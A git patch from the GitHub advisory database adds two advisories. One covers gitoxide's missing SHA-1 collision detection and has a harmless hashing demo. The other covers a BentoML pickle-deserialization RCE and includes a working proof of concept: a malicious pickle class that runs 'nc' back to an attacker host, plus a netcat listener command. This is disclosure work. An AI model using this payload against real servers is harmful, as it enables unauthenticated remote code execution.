From a39c852282da561992767b5b0abcd9ae48f7f482 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Fri, 4 Apr 2025 16:06:59 +0000 Subject: [PATCH] Publish Advisories GHSA-2frx-2596-x5r6 GHSA-33xw-247w-6hmc --- .../GHSA-2frx-2596-x5r6.json | 563 ++++++++++++++++++ .../GHSA-33xw-247w-6hmc.json | 65 ++ 2 files changed, 628 insertions(+) create mode 100644 advisories/github-reviewed/2025/04/GHSA-2frx-2596-x5r6/GHSA-2frx-2596-x5r6.json create mode 100644 advisories/github-reviewed/2025/04/GHSA-33xw-247w-6hmc/GHSA-33xw-247w-6hmc.json diff --git a/advisories/github-reviewed/2025/04/GHSA-2frx-2596-x5r6/GHSA-2frx-2596-x5r6.json b/advisories/github-reviewed/2025/04/GHSA-2frx-2596-x5r6/GHSA-2frx-2596-x5r6.json new file mode 100644 index 00000000000..67e5bc03a57 --- /dev/null +++ b/advisories/github-reviewed/2025/04/GHSA-2frx-2596-x5r6/GHSA-2frx-2596-x5r6.json @@ -0,0 +1,563 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2frx-2596-x5r6", + "modified": "2025-04-04T16:06:09Z", + "published": "2025-04-04T16:06:08Z", + "aliases": [ + "CVE-2025-31130" + ], + "summary": "gitoxide does not detect SHA-1 collision attacks", + "details": "### Summary\ngitoxide uses SHA-1 hash implementations without any collision detection, leaving it vulnerable to hash collision attacks.\n\n### Details\ngitoxide uses the `sha1_smol` or `sha1` crate, both of which implement standard SHA-1 without any mitigations for collision attacks. This means that two distinct Git objects with colliding SHA-1 hashes would break the Git object model and integrity checks when used with gitoxide.\n\nThe SHA-1 function is considered cryptographically insecure. However, in the wake of the SHAttered attacks, this issue was mitigated in Git 2.13.0 in 2017 by using the [sha1collisiondetection](https://github.com/crmarcstevens/sha1collisiondetection) algorithm by default and producing an error when known SHA-1 collisions are detected. Git is in the process of migrating to using SHA-256 for object hashes, but this has not been rolled out widely yet and gitoxide does not support SHA-256 object hashes.\n\n### PoC\nThe following program demonstrates the problem, using the two [SHAttered PDFs](https://shattered.io/):\n\n```rust\nuse sha1_checked::{CollisionResult, Digest};\n\nfn sha1_oid_of_file(filename: &str) -> gix::ObjectId {\n let mut hasher = gix::features::hash::hasher(gix::hash::Kind::Sha1);\n hasher.update(&std::fs::read(filename).unwrap());\n gix::ObjectId::Sha1(hasher.digest())\n}\n\nfn sha1dc_oid_of_file(filename: &str) -> Result {\n // Matches Git’s behaviour.\n let mut hasher = sha1_checked::Builder::default().safe_hash(false).build();\n hasher.update(&std::fs::read(filename).unwrap());\n match hasher.try_finalize() {\n CollisionResult::Ok(digest) => Ok(gix::ObjectId::Sha1(digest.into())),\n CollisionResult::Mitigated(_) => unreachable!(),\n CollisionResult::Collision(digest) => Err(format!(\n \"Collision attack: {}\",\n gix::ObjectId::Sha1(digest.into()).to_hex()\n )),\n }\n}\n\nfn main() {\n dbg!(sha1_oid_of_file(\"shattered-1.pdf\"));\n dbg!(sha1_oid_of_file(\"shattered-2.pdf\"));\n dbg!(sha1dc_oid_of_file(\"shattered-1.pdf\"));\n dbg!(sha1dc_oid_of_file(\"shattered-2.pdf\"));\n}\n```\n\nThe output is as follows:\n\n```\n[src/main.rs:24:5] sha1_oid_of_file(\"shattered-1.pdf\") = Sha1(38762cf7f55934b34d179ae6a4c80cadccbb7f0a)\n[src/main.rs:25:5] sha1_oid_of_file(\"shattered-2.pdf\") = Sha1(38762cf7f55934b34d179ae6a4c80cadccbb7f0a)\n[src/main.rs:26:5] sha1dc_oid_of_file(\"shattered-1.pdf\") = Err(\n \"Collision attack: 38762cf7f55934b34d179ae6a4c80cadccbb7f0a\",\n)\n[src/main.rs:27:5] sha1dc_oid_of_file(\"shattered-2.pdf\") = Err(\n \"Collision attack: 38762cf7f55934b34d179ae6a4c80cadccbb7f0a\",\n)\n```\n\nThe latter behaviour matches Git.\n\nSince the SHAttered PDFs are not in a valid format for Git objects, a direct proof‐of‐concept using higher‐level APIs cannot be immediately demonstrated without significant computational resources.\n\n### Impact\nAn attacker with the ability to mount a collision attack on SHA-1 like the [SHAttered](https://shattered.io/) or [SHA-1 is a Shambles](https://sha-mbles.github.io/) attacks could create two distinct Git objects with the same hash. This is becoming increasingly affordable for well‐resourced attackers, with the Shambles researchers in 2020 estimating $45k for a chosen‐prefix collision or $11k for a classical collision, and projecting less than $10k for a chosen‐prefix collision by 2025. The result could be used to disguise malicious repository contents, or potentially exploit assumptions in the logic of programs using gitoxide to cause further vulnerabilities.\n\nThis vulnerability affects any user of gitoxide, including `gix-*` library crates, that reads or writes Git objects.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "gix-features" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.41.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-commitgraph" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.27.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-index" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.39.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-object" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.48.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-odb" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.68.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-pack" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.58.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gitoxide" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.42.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gitoxide-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.46.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.71.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-archive" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.20.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-blame" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.1.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-config" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.44.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-diff" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.51.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-dir" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.13.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-discover" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.39.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-filter" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.18.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-fsck" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.10.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-merge" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.4.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-negotiate" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.19.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-protocol" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.49.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-ref" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.51.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-revision" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.33.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-revwalk" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.19.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-status" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.18.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-traverse" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.45.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-worktree" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.40.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "gix-worktree-state" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.18.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-2frx-2596-x5r6" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31130" + }, + { + "type": "WEB", + "url": "https://github.com/GitoxideLabs/gitoxide/commit/4660f7a6f71873311f68f170b0f1f6659a02829d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/GitoxideLabs/gitoxide" + }, + { + "type": "WEB", + "url": "https://rustsec.org/advisories/RUSTSEC-2025-0021.html" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-328" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-04-04T16:06:08Z", + "nvd_published_at": "2025-04-04T15:15:48Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/04/GHSA-33xw-247w-6hmc/GHSA-33xw-247w-6hmc.json b/advisories/github-reviewed/2025/04/GHSA-33xw-247w-6hmc/GHSA-33xw-247w-6hmc.json new file mode 100644 index 00000000000..3789f02e12a --- /dev/null +++ b/advisories/github-reviewed/2025/04/GHSA-33xw-247w-6hmc/GHSA-33xw-247w-6hmc.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-33xw-247w-6hmc", + "modified": "2025-04-04T16:05:32Z", + "published": "2025-04-04T16:05:32Z", + "aliases": [ + "CVE-2025-27520" + ], + "summary": "BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization", + "details": "### Summary\nA Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.\n\n### Details\nIt exists an unsafe code segment in `serde.py`: \n```Python\ndef deserialize_value(self, payload: Payload) -> t.Any:\n if \"buffer-lengths\" not in payload.metadata:\n return pickle.loads(b\"\".join(payload.data))\n```\nThrough data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.\n\n### PoC\nEnvironment:\n\n- Server host:\n - IP: 10.98.36.123\n - OS: Ubuntu \n- Attack host:\n - IP: 10.98.36.121\n - OS: Ubuntu \n\n\n\n1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.\n\n1.1 Install BentoML (Server host: 10.98.36.123) :\n` pip install -U bentoml`\n\n1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) :\n``` Python\nfrom __future__ import annotations\n\nimport bentoml\n\n@bentoml.service(\n resources={\"cpu\": \"4\"}\n)\nclass Summarization:\n def __init__(self) -> None:\n import torch\n from transformers import pipeline\n\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n self.pipeline = pipeline('summarization', device=device)\n\n @bentoml.api(batchable=True)\n def summarize(self, texts: list[str]) -> list[str]:\n results = self.pipeline(texts)\n return [item['summary_text'] for item in results]\n```\n\n\n1.3 Run the service code (Server host: 10.98.36.123) :\n``` Bash\npip install torch transformers # additional dependencies for local run\n\nbentoml serve\n```\n\n\n2. Start nc listening on the attacking host (Attack host: 10.98.36.121) :\n`nc -lvvp 1234`\n\n3. Send maliciously crafted request (Attack host: 10.98.36.121) :\n``` Python\nimport pickle\nimport os\nimport requests\n\nheaders = {'Content-Type': 'application/vnd.bentoml+pickle'}\n\nclass Evil:\n def __reduce__(self):\n return(os.system, ('nc 10.98.36.121 1234',))\n\npayload = pickle.dumps(Evil())\n\nrequests.post(\"http://10.98.36.123:3000/summarize\", data=payload, headers=headers)\n```\n\n\n4. Attack success (Attack host: 10.98.36.121) :\nThe server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.\n![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)\n\n\n\n### Impact\nRemote Code Execution (RCE).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "bentoml" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.3.4" + }, + { + "fixed": "1.4.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-33xw-247w-6hmc" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27520" + }, + { + "type": "WEB", + "url": "https://github.com/bentoml/BentoML/commit/b35f4f4fcc53a8c3fe8ed9c18a013fe0a728e194" + }, + { + "type": "PACKAGE", + "url": "https://github.com/bentoml/BentoML" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2025-04-04T16:05:32Z", + "nvd_published_at": "2025-04-04T15:15:47Z" + } +} \ No newline at end of file